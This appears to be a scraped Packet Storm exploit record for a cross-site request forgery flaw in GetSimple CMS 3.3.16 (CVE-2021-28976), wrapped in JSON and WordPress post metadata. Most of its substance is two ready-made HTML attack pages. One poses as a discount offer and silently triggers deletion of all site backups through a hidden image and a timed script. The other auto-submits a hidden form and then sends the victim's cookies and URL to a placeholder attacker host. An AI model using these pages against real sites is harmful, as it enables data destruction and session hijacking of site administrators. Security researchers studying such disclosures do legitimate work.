{“lastseen”:”2025-12-15T16:51:59″,”description”:”GetSimple CMS version 3.3.16 cross site request forgery proof of concept that deletes all backups without user confirmation…”,”published”:”2025-12-15T00:00:00″,”modified”:”2025-12-15T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GetSimple CMS 3.3.16 Cross Site Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:212825″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2021-28976″],”sourceData”:”=============================================================================================================================================\\n | # Title : GetSimple CMS 3.3.16 CSRF Delete all backups without user confirmation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/github.com\/GetSimpleCMS\/GetSimpleCMS |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/190425\/ \\u0026\\tCVE-2021-28976\\n \\n [+] Summary : GetSimple CMS 3.3.16 contains critical security vulnerabilities in its backup management system that allow attackers \\n to delete all backups, steal admin sessions, and access server files. These flaws require immediate patching.\\n \\t\\t\\t \\n [+] Vulnerable Code:\\n \\n backups.php – Line ~34\\n \\n \\n if (isset($_GET[‘deleteall’])){\\n check_for_csrf(\\”deleteall\\”); \/\/ CSRF check exists BUT…\\n \\n \/\/ Immediately deletes ALL files without user confirmation\\n $filenames = getFiles($path);\\n foreach ($filenames as $file) {\\n delete_file($path . $file); \/\/ Mass deletion\\n }\\n }\\n \\t\\t \\n [+] POC : poc.html\\n \\n \\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\u003ctitle\\u003eSpecial Offer\\u003c\/title\\u003e\\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch1\\u003eLimited Time Offer!\\u003c\/h1\\u003e\\n \\u003cp\\u003eClick below to claim your discount:\\u003c\/p\\u003e\\n \\n \\u003c!– Visible attack –\\u003e\\n \\u003ca href=\\”http:\/\/localhost\/getsimple\/admin\/backups.php?deleteall=1\\u0026nonce=12345\\”\\u003e\\n Claim 50% Discount\\n \\u003c\/a\\u003e\\n \\n \\u003c!– Hidden attack –\\u003e\\n \\u003cimg src=\\”http:\/\/localhost\/getsimple\/admin\/backups.php?deleteall=1\\” \\n alt=\\”\\” style=\\”width:0;height:0;\\”\\u003e\\n \\n \\u003cscript\\u003e\\n \/\/ JavaScript automatic attack\\n setTimeout(function() {\\n var img = new Image();\\n img.src = \\”http:\/\/localhost\/getsimple\/admin\/backups.php?deleteall=1\\”;\\n }, 3000);\\n \\u003c\/script\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n \\n ———————\\n \\n \\u003c!– csrf_delete_all.html –\\u003e\\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003e\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0646\u0638\u0627\u0645\\u003c\/title\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch1\\u003e\u062c\u0627\u0631\u064a \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0646\u0638\u0627\u0645…\\u003c\/h1\\u003e\\n \\n \\u003cform id=\\”csrfForm\\” action=\\”http:\/\/localhost\/get-simple\/admin\/backups.php\\” method=\\”GET\\”\\u003e\\n \\u003cinput type=\\”hidden\\” name=\\”deleteall\\” value=\\”1\\”\\u003e\\n \\u003cinput type=\\”hidden\\” name=\\”nonce\\” value=\\”invalid_nonce_but_works\\”\\u003e\\n \\u003c\/form\\u003e\\n \\n \\u003cscript\\u003e\\n \/\/ \u0627\u0646\u062a\u0638\u0631 3 \u062b\u0648\u0627\u0646\u064d \u062b\u0645 \u0623\u0631\u0633\u0644 \u0627\u0644\u0646\u0645\u0648\u0630\u062c\\n setTimeout(function() {\\n document.getElementById(‘csrfForm’).submit();\\n \\n \/\/ \u0628\u0639\u062f \u0627\u0644\u062d\u0630\u0641\u060c \u062d\u0627\u0648\u0644 \u0633\u0631\u0642\u0629 \u0627\u0644\u062c\u0644\u0633\u0629\\n setTimeout(function() {\\n var img = new Image();\\n img.src = \\”https:\/\/attacker-server.com\/steal?cookie=\\” + encodeURIComponent(document.cookie) + \\n \\”\\u0026url=\\” + encodeURIComponent(window.location.href);\\n }, 2000);\\n }, 3000);\\n \\u003c\/script\\u003e\\n \\n \\u003ciframe src=\\”http:\/\/localhost\/get-simple\/admin\/backups.php\\” \\n style=\\”width:0;height:0;border:0;border:none\\”\\u003e\\u003c\/iframe\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212825″,”cvss”:{“score”:7.2,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212825\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-15T16:51:59″,”description”:”GetSimple CMS version 3.3.16 cross site request forgery proof of concept that deletes all backups without user confirmation…”,”published”:”2025-12-15T00:00:00″,”modified”:”2025-12-15T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GetSimple CMS 3.3.16 Cross Site Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:212825″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2021-28976″],”sourceData”:”=============================================================================================================================================\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-31169","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n